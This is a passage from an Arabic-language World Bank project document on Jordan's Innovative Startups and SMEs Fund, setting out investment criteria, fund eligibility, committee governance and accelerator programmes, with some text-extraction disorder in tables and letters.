د( المهام اإلدارية ذ( مراجعة الموازنة السنوية والموافقة عليها والتي يجب أن يوافق عليها مجلس اإلدارة أيضاً ر( متابعة توظيف رأس المال، والموازنة السنوية لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية ب- أنشطة المشروع برنامج تمويل مختلط من رأس المال والدين )قرض مصرفي بقيمة 75.44 مليون دوالر/ القيمة اإلجمالي للموازنة 5.53 مليون دوالر( 16 .سوف يعمل هذا النشاط على سد الفجوة التمويلية في ثالث فئات )رأس مال إقامة المشروعات، وتمويلها في المراحل المبكرة، ومرحلة رأس المال المخاطر(. سوف يستثمر صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة في رأس المال، أو التمويل المختلط من رأس المال والدين بشكل مباشر في هذه المؤسسات إلى جانب صناديق االستثمار الخاصة، التي تسعى إلى تقديم تمويل في إطار اتفاق محدد، وبشكل غير مباشر من خالل القيام باستثمارات في المؤسسات المالية الوسيطة المخصصة لتمويل الشركات الناشئة، أو الشركات التي ال تزال في أولى مراحلها، أو مرحلة رأس المال المخاطر )مثل البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 46 المعجالت، وشبكات رعاة األعمال، وصناديق رأس المال المخاطر ، ومنصات التمويل الجماعي وما شابه(. سوف تتجه الصناديق نحو دعم مستثمري القطاع الخاص في ما يقدمونه من دعم ما بعد االستثمار للمستفيدين. 17 .طوال مدة المشروع، والفترة األولى لالستثمار الخاص بصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، من المتوقع أن يستثمر المشروع في نحو 200 شركة مختلفة في مراحل المخاطرة الكبرى الثالثة التي يتم تصنيفها على النحو التالي: مرحلة التأسيس )حجم االستثمار أقل من 280 ألف دوالر(، والمرحلة المبكرة لألعمال )حجم االستثمار بين 280 ألف و750 ألف دوالر(، ومرحلة رأس المال المخاطر )حجم االستثمار بين 750 ألف و3 مليون دوالر(. من المتوقع أن يتم توفير نحو 70 مليون دوالر من مستثمرين في القطاع الخاص بحسب عدد االستثمارات سواء كشركاء في االستثمار في الصناديق، أو كمستثمرين مشاركين في إطار اتفاقات. المشروعات المؤهلة 18 .حتى تكون المؤسسة الصغيرة أو المتوسطة مؤهلة لتلقي استثمارات من الصندوق سواء بشكل مباشر أو غير مباشر، يتعين أن يكون مقر المؤسسة في األردن وأن تنفذ عملياتها هناك، حتى إذا كان سوق المنتج المستهدف في الخارج. يشمل ذلك الشركات، التي تجمع بين مساهمين أجانب وأردنيين أو مقيمين في البلد. قد ال تشارك المؤسسة الصغيرة أو المتوسطة المؤهلة في أي من األنشطة، أو القطاعات المدرجة على قائمة النفقات السلبية الواردة في إطار اإلدارة البيئية واالجتماعية للمشروع، ودليل عمليات المشروع. 19 .يوضح الجدول 1-1 المبادئ التوجيهية رفيعة المستوى لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة الذي يمكن من خالله جمع رأس مال استثماري بقيمة إجمالية نحو 50 مليون دوالر خالل أول ست سنوات )فترة االستثمار األولى(. بعد مرور ست سنوات، سوف يحصل الصندوق على مساهمة إضافية من البنك المركزي األردني ليتم استخدامها في متابعة التمويل، وفي دورة ثانية من االستثمارات في رأس المال )دورة االستثمار الثانية(. وهذا الجدول هو جدول داللي، وإستراتيجية االستثمار قابلة للتعديل، ويتم إعادة توزيع المخصصات بها بحسب متطلبات السوق. سوف تحتاج أي تغيرات كبيرة في استراتيجية االستثمار، وتوزيع المخصصات، إلى موافقة مجلس إدارة الصندوق والبنك الدولي خالل مدة المشروع، وموافقة مجلس اإلدارة بعد انتهاء مشروع البنك الدولي. جدول رقم 1-1 .معايير االستثمار الشامل طوال فترة تنفيذ المشروع )6 سنوات(* النوع االستثمارات غير المباشرة االستثمار المباشر مرحلة التأسيس )أقل من المرحلة 280 ألف دوالر( المرحلة المبكرة )280 ألف دوالر – 750 ألف دوالر( مشروع رأس المال المخاطر 750 ألف دوالر – 2 مليون دوالر المرحلة المبكرة وما بعدها مخصصات صندوق 7 مليون دوالر 14 مليون دوالر 24 مليون دوالر 5 مليون دوالر المشروعات الناشئة القطاعات الجهات الفاعلة معجالت أو حاضنات األعمال + صناديق تمويل مرحلة التأسيس معجالت أو حاضنات األعمال + صناديق أو شبكات رعاة األعمال المرحلة المبكرة وصناديق رأس المال المخاطر االستثمار المشترك مع معجالت أو حاضنات األعمال صناديق رعاة األعمال ورأس المال المخاطر حجم الفرصة حجم الصندوق يتراوح ما بين 2 مليون دوالر إلى 5 مليون دوالر أمريكي حجم الصندوق يتراوح ما بين 5 مليون دوالر إلى 15 مليون دوالر أمريكي حجم الصندوق يزيد عن 15 مليون دوالر أمريكي يرفع االستثمار القيمة اإلجمالية لتصل إلى 500 ألف دوالر إلى 5.1 مليون دوالر أمريكي دعم صندوق المشروعات الناشئة حتى 5.1 مليون دوالر أمريكي لكل صندوق حتى 5.3 مليون دوالر أمريكي لكل صندوق حتى 5.5 مليون دوالر أمريكي لكل صندوق استثمار 200 ألف مليون دوالر إلى 500 ألف دوالر في كل شركة ناشئة عدد الصناديق 3-4 صناديق 3-4 صناديق 3-4 صناديق ال ينطبق المستهدفة الروافع المالية في القطاع الخاص )بالتقريب( 2 مليون دوالر لكل صندوق )بإجمالي 7 مليون دوالر أمريكي( 7 مليون دوالر لكل صندوق )بإجمالي 24 مليون دوالر أمريكي( 5.9 مليون دوالر لكل صندوق )بإجمالي 33 مليون دوالر أمريكي( 250 ألف دوالر إلى مليون دوالر أمريكي لكل صفقة )بإجمالي 5.7 مليون دوالر( معايير رفيعة المستوى لكل استثمار ** أقل من 40 %من مخصصات الصندوق اإلجمالية أقل من 30 %من مخصصات الصندوق اإلجمالية أقل من 30 %من مخصصات الصندوق اإلجمالية االستثمار المشترك فقط، ال تزيد النسبة عن 50 %من كل جولة. عدد الشركات )بالتقريب )شركة 15 – 10 شركة 40 – 30 شركة 70 – 60 شركة 80 – 70 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 47 * يتضمن أموال مشروعات البنك الدولي واألموال المخصصة من مساهمات البنك المركزي األردني ** يرجى الرجوع إلى المبادئ التوجيهية لالستثمارات المباشرة وغير المباشرة المبادئ التوجيهية لالستثمارات غير المباشرة أ. الغرض من هذا المخصص هو تمكين صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية من إنشاء نظام بيئي شامل مستدام للتمويل )صندوق أو ما شابه( يوفر بدوره التمويل للصندوق لزيادة رأس المال في القطاع الخاص مع االستثمار في مختلف مراحل الشركات الناشئة )انظر الفقرة 18 الخاصة بوصف المشروعات المؤهلة(. ب. سيكون من الضروري أن تشمل صناديق مرحلة ما قبل التأسيس ومرحلة التأسيس والمرحلة المبكرة، عنصر تدريبي في مهمتها التي تستهدف كل من الشركات الناشئة والمستثمرين. كذلك سوف يتعين عليها، إن كان ذلك مالئ ًما، إنشاء شبكة من الموجهين والناصحين الذين يمكن لالستثمارات أو النظام البيئي االستفادة منها. سوف يكون على تلك البرامج التعاون مع الصندوق في تنفيذ أنشطة بناء الصناعة تلك إلى جانب الجهات المعنية األساسية في النظام البيئي الشامل مثل الجامعات. ت. يمكن أن يتم تخصيص األموال من صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية لصناديق متعددة )استثمارات غير مباشرة( خالل المرحلة األولى من التمويل، لكن ينبغي احتسابها على أساس إجمالي ما تم جمعه من أموال. من الممكن أن يساعد التقدم في بدء وتدشين العمليات. ث. يمكن أن يتقدم كل مدير صندوق للحصول على مخصصين كحد أقصى من صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة. ويمكن أن يتم ذلك في نفس الوقت الذي يقوم فيه الصندوق بالتعامل مع العناصر المختلفة للنظام البيئي. ثا أو ً ج. سوف يكون من الضروري أن يتم منح 50 %على األقل من رأس المال الذي يتم تخصيصه إلى صناديق تم تأسيسها حدي مديري هذه الصناديق. ح. معايير تقييم استثمارات أحد الصناديق: عند تقييم استثمار، يجب وضع العناصر التالية في االعتبار: سجل إنجازات يتضمن )يجب أن يخلو تقرير التدقيق من أي آراء سلبية أو معبرة عن إخالء الذمة في السنوات الثالثة 28 القوائم المالية المدققة السابقة(، الهيكل المالي، واإلدارة أو الفريق المالي، واستراتيجية استثمار، ومحور التركيز أو القطاع أو السوق، واالستدامة، ومخاطر االعتماد على شخص واحد والمراحل والموازنات والعائدات التجارية، واقتصاديات الصندوق )أي رسوم اإلدارة، والحد األدنى للعائد، وما إلى ذلك(، وحجم الصندوق ومدة بقائه والتأثير التنموي. سيتم إتاحة تقارير العناية الواجبة الخاصة باالستثمارات للبنك الدولي عند الطلب. الصناديق المؤهلة 20 .للحصول على رأس مال من صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، ينبغي أن يتوافر لدى مالية مدققة طبقً الصندوق المؤهل حضور مادي فعلي في األردن، ويستثمر في شركات توجد فعلياً في األردن، ولديه قوائم ا لمعايير المشروعات المشار إليها في دليل عمليات المشروع. ويجب أن يستوفي الصندوق المتطلبات المالية حتى يدير وينفذ االستثمارات المقبولة لدى البنك الدولي على النحو المشار إليه في دليل عمليات المشروع. وقد يتضمن ذلك في حال انطباقه الشركات التي بدأت ممارسة عمليات منذ سنتين وتتبع أنظمة مالية سليمة، وقوائم مالية مدققة من قبل مدقق حاصل على ترخيص من جمعية المحاسبين القانونيين األردنيين، وليس لديها آراء سلبية أو معبرة عن إخالء المسئولية في السنوات الثالثة السابقة. كذلك ال يجب أن تكون في وضع تقاضي، أو على قائمة الشركات المحظورة في األردن أو لدى البنك الدولي. بالمثل، يجب أال يكون ألي من أفراد العمل الرئيسيين في الشركة )المالك أو الرئيس التنفيذي( سجل جنائي، وغير مدرجين على أي قائمة سوداء وضعتها الشركة األردنية لضمان القروض أو البنك الدولي. المبادئ التوجيهية لالستثمارات المباشرة أ( الغرض من هذا التخصيص هو تمكين صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة من دعم الشركات الناشئة الذي يمكن الحصول عليه من أي من الصناديق التي يدعمها برنامج الصندوق أو الذي تم الحصول عليه مباشرًة من النظام البيئي الشامل )انظر الفقرة 18 الخاصة بوصف المشروعات المؤهلة(. ب( ينبغي أن يوجد لدى الشركة مستثمرون مشاركون، حيث لن يساهم الصندوق سوى بجزء من إجمالي رأس المال -يمكن الرجوع إلى الجدول رقم 1-1. ت( يجب على المستثمر الرئيسي في الفرصة تقديم كل ما يدل على إتمام عملية العناية الواجبة لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة. بالنسبة للهيئات بالغة الصغر والهيئات التي لم يتجاوز نشاطها السنة الواحدة، سوف تلتزم بتقديم قوائم مالية بسيطة بعد مراجعتها حتى يُطلب منها 28 تقديم قوائم مالية مدققة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 48 ث( ينبغي أن تساهم الفرصة في تحقيق معدل العائد الداخلي المتوقع أو 15 %على األقل. ج( يمكن ألي شركة التقدم بطلب للحصول على استثمارات صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مرتين كحد أقصى طوال دورة عملها. إذا قامت الشركة بالتقدم بطلب للمرة الثانية للحصول على استثمارات، يجب أن تكون الشركة قد نفذت أغلب افتراضات الحالة االبتدائية خالل االستثمار األول. ح( هيكل االستثمار  رأس المال: في صورته األبسط، االستثمار المباشر في رأس المال يستهدف الشركات حيث يشارك الصندوق في رأس مال الكيان بحسب القيمة المتفق عليها. يمكن تعديل هذا الهيكل المباشر بحيث يتم القيام باالستثمار على مراحل أو خطوات. من الممكن مقارنة الخطوات باألهداف أو اإلنجازات أو إطار زمني محدد، يمكن كذلك تعديل قيمة االشتراك بالزيادة أو النقصان في حال عدم تحقيق اإلنجازات أو في حال تجاوز التوقعات.  الديون القابلة للتحويل: يقدم صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية تمويل للمشروع على هيئة ا قرض بسعر فائدة متفق عليه، لكن يصبح القرض قابل للتحويل إلى مساهمة في رأس المال في المشروع المستهدف، وأحيانً يتم ذلك بصورة تلقائية، وفي أحيان أخرى يخضع ذلك الختيار الصندوق.  سوف يتجه صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية في أكثر األحوال، بحسب موافقة لجنة االستثمار، إلى توقيع اتفاق غير ملزم يوضح الهيكل الكامل لصفقة ما. الهدف من هذا هو توضيح النية، والهيكل الكامل الذي تم تصوره. يخضع هذا االتفاق غير الملزم للتغير استناًدا إلى نتيجة العناية الواجبة.  دون النظر إلى هيكل االستثمار، سوف تكون هناك حاجة إلى تضمين أحكام وقائية معيارية محددة في االتفاقات المتعددة. من بين هذه األحكام بنود مثل، حقوق االرتباط عند البيع وحق الرفض للمرة األولى وحق التدقيق، وعدد المقاعد في مجلس اإلدارة، واألهداف، وعدم التنافس، وبنود المتخارج بشكل جيد والمتخارج بشكل سيء، إلى جانب العديد من الحقوق التي يتم االحتفاظ بها. يتم تحديد تلك البنود بحسب كل حالة، ويكون الهدف منها باألساس هو حماية مخاطر الجانب السلبي لنقص األموال. خ( معايير تقييم االستثمار المباشر: عند تقييم استثمار مشترك، ينبغي أن يتم وضع ما يلي في االعتبار: فريق العمل، ومرحلة االستثمار، وحجم السوق، والميزة النسبية، والتحقق من السوق، ونموذج العمل، واقتصاديات الوحدة، والمخاطر، والتقييم، والتخارج، وسجل إنجازات يتضمن قوائم مالية مدققة )يجب أن يخلو تقرير التدقيق من أي آراء سلبية أو معبرة عن إخالء الذمة 29 في السنوات الثالثة السابقة. سوف يتم إتاحة تقارير العناية الواجبة الخاصة باالستثمار للبنك الدولي عند الطلب. عملية اختيار االستثمار 21 .سيقوم مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية بإعداد جدول أعمال لالجتماع، يتضمن ملف خاص بكل طلب، وتوزيعها على أعضاء اللجنة أو أعضاء مجلس اإلدارة في حال فرض مجلس اإلدارة عقوبة على استثمار ما يفوق مستوى محدد غير مفوض به للجنة االستثمار، على األقل قبل خمسة أيام عمل من كل اجتماع لتمكين اللجنة، أو مجلس اإلدارة في حاالت محددة، من اتخاذ قرارات تستند إلى معلومات كافية. سوف يسفر تصويت باألغلبية البسيطة عن اتخاذ قرار. سيكون للرئيس صوت مرجح في حال تعادل عدد األصوات. إذا كان الرئيس غائب عن االجتماع، يختار األعضاء الباقون واحًدا منهم ليحل محل الرئيس في ذلك االجتماع. 22 .سوف تحتفظ لجنة االستثمار/ مجلس اإلدارة بمحاضر أو سجالت اجتماع واضحة وسجالت بأنشطة اللجنة/ مجلس اإلدارة، والتي يجب توزيعها على كافة أعضاء اللجنة/ مجلس اإلدارة الذين حضروا االجتماع في غضون )10 )أيام عمل من أجل الموافقة عليها وتوقيعها فيما بعد. وسوف يتم توزيع محاضر االجتماعات على كافة األعضاء بمجرد التوقيع. 23 .سوف سيتم تأكيد القرارات التي اتخذتها لجنة االستثمار/ مجلس اإلدارة من خالل القرارات التي يتم اتخاذها خالل اجتماع وتسجيلها في محضر االجتماع المقصود، أو من خالل قرار كتابي، يشمل موافقة واضحة عن طريق البريد اإللكتروني، موقعة من كافة أعضاء اللجنة. بالنسبة للهيئات بالغة الصغر والهيئات التي لم يتجاوز نشاطها السنة الواحدة، سوف تلتزم بتقديم قوائم مالية بسيطة بعد مراجعتها حتى يُطلب منها 29 تقديم قوائم مالية مدققة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 49 24 .سوف تكون لجنة االستثمار مسئولة عن تعيين أي مستشار مستقل أو مستشارين آخرين تستعين بهم ودفع أتعابهم واإلشراف على عملهم، وسوف يقدم صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية التمويل المناسب لدفع أتعاب معقولة إلى أي مستشار مستقل أو مستشارين آخرين تستعين بهم اللجنة. تضارب المصالح 25 .سوف يعتمد مجلس اإلدارة مدونة سلوكية، وسياسات وإجراءات خاصة بتضارب المصالح، وينفذ عدة إجراءات لتخفيف حدة تضارب المصالح التي قد تنشأ. يتضمن دليل عمليات المشروع تفاصيل هذه السياسات واإلجراءات، إلى جانب إجراءات الحد من هذا األمر. يجب أن يكشف أعضاء اللجنة وأعضاء مجلس اإلدارة، وأي شخص آخر يحضر اجتماع اختيار االستثمار )المدعوين( عن أي تضارب فعلي أو محتمل للمصالح في أي استثمار عند بداية االجتماع، أو على األقل قبل بدء مناقشة البند أو الموضوع ذي الصلة في جدول األعمال. يجب توثيق كافة التفاصيل الخاصة بأي تضارب في المصالح بوضوح في محاضر االجتماع ذي الصلة. قبل مناقشة البند أو الموضوع ذي الصلة في جدول األعمال، يجب أن تحدد اللجنة بأغلبية طرفا في حالة تعارض المصالح( سواء كان هذا العضو أو المدعو ذي ً األصوات )باستثناء العضو الذي من المحتمل أن يكون كونه طرفا في أي حالة تضارب مصالح خالل المناقشات الخاصة ً الصلة لديه تضارب مصالح حقيقي، أو سوف يتم إثبات عدم بهذا األمر. سوف تراجع اللجنة/ مجلس اإلدارة كل حاالت تضارب المصالح الفعلية أو المحتملة مع المستشار القانوني المكلف. دعم االستثمار )5.3 مليون دوالر( 26 .لتقديم حافز لمديري الصناديق والمستثمرين المشاركين لالستثمار في الشركات الناشئة االبتكارية، والمراحل المبكرة من المؤسسات الصغيرة والمتوسطة، سوف يقدم صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية للصناديق التي تتضمن شراكة، إلى جانب رأس المال، مبلغ مالي )ال يرد( لتغطية التكاليف المتعلقة بدعم ابتكار المشروع الناشئ بعد االستثمار. قد تتضمن أنشطة ما بعد االستثمار تكاليف مهنية مالية وقانونية وإدارية لتسجيل/ الحفاظ على/ تحديث االختبار العملي لمنتج ما في سوق جديد، ودعم المكتب الخلفي )محاسبة، وقانون، وتسويق، وإدارة( وهي أمور عادة ال تقوم بها الشركات الصغيرة. 27 .يجب أن يقدم مديرو الصناديق، الذين يتقدمون بطلب للحصول على استثمار في رأس المال، أو ومساهمة في االستثمار، من صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، طلب يتضمن عرض لألسس المنطقية للتكاليف يقوم على استراتيجية االستثمار، ومرحلة أعمال الشركة ونوعية االبتكار وحجم االستثمار. سوف يخضع المبلغ الذي يتم تقديمه إلى المراجعة من جانب لجنة االستثمار على أساس توافر التمويل. دعم تدفق الصفقات )موازنة البنك بقيمة 125.3 مليون دوالر/ إجمالي الموازنة بقيمة 25.6 مليون دوالر( 28 .سوف تدعم صناديق المشروعات في إطار هذا المكون ثالث فئات من ريادة األعمال، وتساعد في توفير المزيد من المستثمرين الممولين. في إطار هذا النشاط، سوف يدعم صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة 825 من رواد األعمال/المشروعات الصغيرة والمتوسطة، وكذلك مؤسسات وسيطة، وشبكات تستهدف تحسين جودة وعدد تدفق الصفقات في األردن، ومساعدة 125صفقة قابلة للنجاح على الوصول إلى مرحلة التمويل. يبلغ إجمالي موازنة األنشطة المقترحة 25.6 مليون دوالر، وسيتم تنفيذها خالل اإلطار الزمني للمشروع. جدول رقم 1-2 .أنشطة خلق تدفق الصفقات والموازنة المقدرة خالل دورة حياة المشروع )6 سنوات( مليون دوالر طبيعة الدعم عنصر النظام البيئي الشامل الهدف أمريكي وجود رواد أعمال وفرق جديدة لها تصورات واعدة في مختلف يرامج حاضنات/ معجالت األعمال تدفق الصفقات )الشركات الناشئة( 5.2 الصناعات والمحافظات وتحاول إقامة شركة التدريب على الجاهزية لالستثمار ومنح تنمية األعمال التجارية للمؤسسات الصغيرة والمتوسطة المحتملة متسارعة النمو قيام المؤسسات الصغيرة والمتوسطة بفعالية للنمو واستعدادها تدفق الصفقات )الشركات القائمة( 75.2 للبحث عن استثمارات بناء النظام البيئي الشامل/ تدفق بناء قدرات االستثمارات التمويلية الصفقات بناء المعرفة والقدرة االستثمارية والمشاركة في نشاط االستثمارات التمويلية 1.0 البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 50 29 .يتضمن الجدول رقم 1-3 أدناه أهداف تقديرية للكيانات والمؤسسات الصغيرة والمتوسطة التي سوف تتلقي الدعم. يبلغ عدد الشركات الناشئة/ المؤسسات الصغيرة أو المتوسطة 825 من أصل 855 كيان، ومعدل النجاح المقترح لكي يصبح من الممكن االستثمار في هذه المؤسسات نحو 15 .% جدول رقم 1-3 .أهداف المؤسسات الصغيرة والمتوسطة/ رواد األعمال والكيانات التي تتلقى الدعم في إطار كل برنامج اسم المؤشر السنة األولى السنة الثانية السنة الثالثة السنة الرابعة السنة الخامسة الهدف النهائي برامج معجالت األعمال: الشركات الناشئة التي تلقت خدمات معجالت األعمال لمدة 4 إلى 6 أشهر )عدد( 15 )واحدة فئة )0 )فئات 4( 60 )فئات 3( 45 )فئتان )30 10( 150 فئات( الجاهزية لالستثمار: المؤسسات الصغيرة والمتوسطة 120 120 120 120 120 600 التي تلقت دعم برنامج الجاهزية لالستثمار )عدد( خدمات تنمية األعمال: المؤسسات الصغيرة والمتوسطة 10 15 15 15 20 75 التي حصلت على خدمات تنمية األعمال )عدد( المستثمرون الممولون: التدريب المقدم للمستثمرين )عدد )المحتملين الممولين 30 0 10 10 10 0 اإلجمالي 855 30 .سيختار صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مقدمي دعم متخصصين ومهنيين تنطبق عليهم معايير المشروع المنصوص عليها في دليل عمليات المشروع بغرض تنفيذ أنشطة تهدف إلى خلق شركات ناشئة قادرة على التنافس مع جميع القطاعات المحتملة )باستثناء قطاع تكنولوجيا االتصاالت والمعلومات(، وسوف تتم مراجعة العروض المقدمة وإبرام عقود تقديم الخدمات أو اتفاقيات الشراكة مع أفضل المرشحين بصفة سنوية قابلة للتجديد حسب األداء وحسب تحقيق النواتج المتفق عليها فيما يتعلق بالمجاالت التالية )سوف يتم إيالء مزيد من االهتمام إلى العروض التي تسعى للوصول إلى رائدات األعمال والمشروعات التي تديرها النساء وسيتم وضعها في االعتبار خالل المراجعة(، وستضمن معايير التقييم الشراكات مع أفضل برامج الممارسة الدولية واإلقليمية التي تتيح نقل المعرفة والقدرات بهدف تحسين جودة التنفيذ. 31 .التنسيق مع الجهات المانحة، سيقوم صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية بتنسيق الجهود مع الجهات المانحة ومنظمات التنمية الدولية وتعزيزها من أجل تقديم الدعم لتنمية األعمال التجارية للمؤسسات الصغيرة والمتوسطة في األردن لزيادة عدد الشركات الناشئة التي نتجت عن هذه البرامج. وتقوم الوكالة األمريكية للتنمية الدولية بإدارة برنامج التنافس األردني وقيمته 40 مليون دوالر للمساعدة في تنمية سالسل القيمة في الصناعات التنافسية، وقد صمم للمساعدة الفنية للمؤسسات المصرف األوروبي لإلنشاء والتعمير برنامجا الصغيرة والمتوسطة ويقدم االتحاد األوروبي 20ً مليون دوالر لدعم برنامج المؤسسة االردنية لتطوير المشاريع االقتصادية لريادة األعمال، كما تقدم الوكالة األلمانية للتعاون الدولي مشروع مساعدة فنية لريادة األعمال بقيمة 15 مليون دوالر. باإلضافة إلى ذلك، تدير الحكومة األردنية مشروع تعزيز الصادرات "جين-اكس" بتمويل من وزارة التنمية الدولية. يوفر هذا البرنامج 25 مليون جنيه استرليني )32 مليون دوالر لألردن، ُيخصص منها أمريكي( سنويا 5 مليون جنيه استرليني للدعم الفني الذي يستهدف تعزيز المؤسسات المتوسطة ً والصغيرة. 32 .برامج حاضنات/ معجالت األعمال )5,2 مليون دوالر(: تنشيط 10 فئات من رواد األعمال، تستهدف كل فئة دعم 15-20 من رواد األعمال لمدة 4-6 أشهر. وقد تدعم برامج معجالت األعمال برامج مرحلة ما قبل ريادة األعمال فعاليات خلق األفكار والمفاهيم والمنافسات وتقديم الدعم العيني لرواد األعمال بما في ذلك تأجير مساحات العمل المشتركة وتقديم الخدمات اإلرشادية وإقامة شبكات االتصال والتدريب، باإلضافة إلى أمور أخرى، بينما ستوجه االستثمارات والتمويل عن طريق خطة الصندوق لالستثمار المختلط في رأس المال والدين التي تستهدف الخريجين الناجحين. 33 .وسيتضمن نطاق برامج معجالت األعمال األنشطة التالية: أ- تنظيم المسابقات ومنح جوائز ألفضل المفاهيم واألفكار اإلبتكارية المطروحة داخل الحجرات الدراسية. ب- تنظيم أنشطة توعية لريادة األعمال )على سبيل المثال المعسكرات والهاكاثواتن( لجذب رواد األعمال الطموحين لالشتراك ببرامج معجالت األعمال. ت- تعيين مدربين ومرشدين لتقديم النصائح إلى رواد األعمال بشأن تنمية نماذج أنشطتهم التجارية وخططها ورصد التقدم البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 51 المحرز. ث- تقديم تدريبات متخصصة )مهنية( للمجموعة المختارة من رواد األعمال، وتساهم أغراض هذا التدريب في مساعدة المشتركين في بدء أنشطتهم التجارية وإنشاء منتج قابل للمنافسة. ج- تأجير مساحات عمل مشتركة، كلما أمكن، لرواد األعمال، وتتضمن هذه المساحات مكاتب وكراسي العمل وخطوط هاتف وإتصال باالنترنت بسرعة عالية. ح- تنظيم فعاليات تواصل شبكي لرواد األعمال والتي تهدف إلى إنشاء شبكات تواصل بين رواد الصناعة والموردين والتفاعل مع العمالء المحتملين والمشاركة في المعارض التجارية المهنية و/أو فعاليات الصناعة. خ- تقديم توجيهات مستمرة إلى مجموعات فرعية من الفرق الواعدة من كل مجموعة دعم. د- تقديم تقارير متابعة دورية لقياس إنجازات المشروعات المختارة. 34 .يتعين توافر الحد األدنى من المؤهالت التالية في البرامج المؤهلة للتمويل: أ- إثبات الخبرة العملية في مجال تنمية فئات من رواد األعمال وإدارتهم من خالل عمليات حاضنات/ معجالت األعمال التجارية. ب- إتباع آلية ونهج فعال لتنشيط األعمال وخبرة عملية في مجال وضع مواد تدريبية لرواد األعمال وتقديمها. ت- إظهار خبرة قوية في التسويق عبر االنترنت باستخدام وسائل اإلعالم المطبوعة واإللكترونية ومواقع التواصل االجتماعي. ث- امتالك فكرة عامة عن آليات المتابعة والتقييم والقدرة على تجميع البيانات وتحليلها أو تقديم المساعدة في هذا الشأن. ج- امتالك شبكة واسعة وقوية من الخبراء ورواد الصناعة للمشاركة في العملية بصفتهم مرشدين ومدربين. ح- مسجلة كشركة في األردن ويفضل أن تكون تابعة لكيان إقليمي أو دولي ذا خبرة واسعة في مجال تنمية ريادة األعمال. 35 .برامج الجاهزية لالستثمار ودعم تنمية األعمال التجارية للمشروعات الشابة التي تسعى للحصول على رأس المال والمؤسسات الصغيرة والمتوسطة التي تبحث عن تمويل بغرض تنمية أعمالها بصورة كبيرة )75,2 مليون دوالر أمريكي(. أ- سوف تستهدف برامج المساعدة في الجاهزية لالستثمار 600 شركة شابة )أي ال يزيد عمرها عن 3 سنوات( والتي قد تكون حصلت بالفعل على دعم إحدى حاضنات أو معجالت األعمال، أو التي قد بدأت عملياتها التجارية للتو، وغالباً ما تظل هذه الشركات تواجه عقبات وفجوات في اإلمكانات، وهو ما يحول دون قابليتها لالستثمار، إال أنه في حال مواجهة تلك المشكالت، فمن الممكن أن تتعاقب االستثمارات )وتدعى هذه العملية تحقيق أرباح من المشروعات(.  سيتم تقدير التدريب على الجاهزية لالستثمار من خالل برنامج منظم، فباإلضافة إلى المحاضرات، من المتوقع أن تتضمن عناصر آلية التدريب تدريبات لألفراد والمجموعات ودراسات لحاالت محلية وعالمية وضيوف متحدثين ونقاشات جماعية ميسرة لتشجيع التعلم بين األقران، وتنظيم فعاليات التواصل الشبكي لوجه عبر اإلنترنت( واإلرشاد والتدريب )وجها . وسيتم تقديم التدريب شهرياً وسيستهدف 8-15 نشاط تجاري ً في كل مرة، وسينتظر من مقدمي برامج الجاهزية لالستثمار المختارين أن يقدموا األنشطة التالية: o تقديم تقرير أولي يصف جميع تفاصيل التنفيذ المتصورة. o إعداد معايير أهلية للبرنامج )بالتشاور مع صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية(. o وضع مواد تدريبية تساعد على تحقيق أغراض برامج التدريب على الجاهزية لالستثمار )دليل للمدربين ومنصة لتقيم العروض (. o تنظيم جلسات إعالمية لضمان االستيعاب والقبول )بالتشاور مع صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية(. o إعداد موقع إلكتروني لتلقي الطلبات وتحديثه )في حالة عم وجود موقع إلكتروني فعلياً(. o فحص الطلبات والتحقق من امتثالها لمعايير األهلية. o توفير المدربين/المرشدين واإلشراف عليهم لدعم تنمية خطط النمو. o تنظيم يوم للتخرج بعد إنتهاء كل برنامج تدريبي يقدم فيه المشاركين أفكار مشروعاتهم وخطط النمو إلى لجنة من الخبراء/ المستثمرين. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 52 o تعيين مستثمرين محليين وإقليميين ودوليين وجذبهم لحضور أيام التخرج. o تقييم برنامج تدريب الجاهزية لالستثمار وتقديم نتائج تقييم لكل تدريب. o إعداد الدعم اللوجستي للفعاليات المختلفة. o إعداد تقرير نهائي يصف جميع تفاصيل التنفيذ بما في ذلك التقييم الكلي لبرنامج التدريب على الجاهزية لالستثمار. o جمع البيانات االزمة إلجراء عملية متابعة مستمرة.  يتعين أن تتوافر المؤهالت التالية في مقدمي الخدمة المتخصصون الذين يقومون بتنفيذ برنامج الجاهزية لالستثمار: o خبرة ممتدة في تصميم وتقديم برامج التدريب على الجاهزية لالستثمار للشركات الشابة )ملحوظة: تحظى الخبرة في تعديل برامج الجاهزية لالستثمار وتنفيذها في البلدان النامية ببالغ التقدير(. o القدرة على نشر البرنامج في األردن )على سبيل المثال: وجود مجموعة كبيرة من المرشدين المؤهلين وعلى 